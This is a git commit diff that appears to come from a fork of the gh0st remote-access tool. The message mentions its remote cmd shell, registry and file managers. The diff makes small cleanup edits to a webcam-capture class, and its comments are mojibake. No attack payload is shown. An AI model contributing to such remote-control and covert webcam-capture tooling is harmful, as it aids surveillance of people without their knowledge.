修复注册表管理窗口关闭时崩溃的缺陷
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本. 2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。 3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
This commit is contained in:
@@ -14,7 +14,6 @@ CCaptureVideo::CCaptureVideo()
|
||||
{
|
||||
if(FAILED(CoInitialize(NULL)))
|
||||
{
|
||||
|
||||
return;
|
||||
}
|
||||
m_pCapture = NULL;
|
||||
@@ -128,9 +127,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
|
||||
HRESULT CCaptureVideo::InitCaptureGraphBuilder()
|
||||
{
|
||||
HRESULT hResult;
|
||||
|
||||
hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC,
|
||||
HRESULT hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC,
|
||||
IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //<2F><>ʵ<EFBFBD>豸
|
||||
|
||||
if (FAILED(hResult))
|
||||
@@ -146,7 +143,6 @@ HRESULT CCaptureVideo::InitCaptureGraphBuilder()
|
||||
return hResult;
|
||||
}
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>˰<CBB0><F3B6A8B5><EFBFBD>ʵ<EFBFBD>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>
|
||||
|
||||
m_pCapture->SetFiltergraph(m_pGB);
|
||||
hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC);
|
||||
if (FAILED(hResult))
|
||||
@@ -154,7 +150,6 @@ HRESULT CCaptureVideo::InitCaptureGraphBuilder()
|
||||
return hResult;
|
||||
}
|
||||
|
||||
//???
|
||||
hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW);
|
||||
if (FAILED(hResult))
|
||||
{
|
||||
@@ -253,7 +248,7 @@ void CCaptureVideo::ResizeVideoWindow()
|
||||
|
||||
void CCaptureVideo::SendEnd() //<2F><><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD> <20><><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY); //ԭ<><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> //ԭ<><D4AD><EFBFBD>Լ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>copy
|
||||
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY);
|
||||
}
|
||||
|
||||
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
|
||||
@@ -263,7 +258,7 @@ LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
|
||||
{
|
||||
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
|
||||
{
|
||||
szBuffer = mCB.GetNextScreen(dwSize); //ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
szBuffer = mCB.GetNextScreen(dwSize);//ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
} while (szBuffer==NULL);
|
||||
|
||||
|
||||
Reference in New Issue
Block a user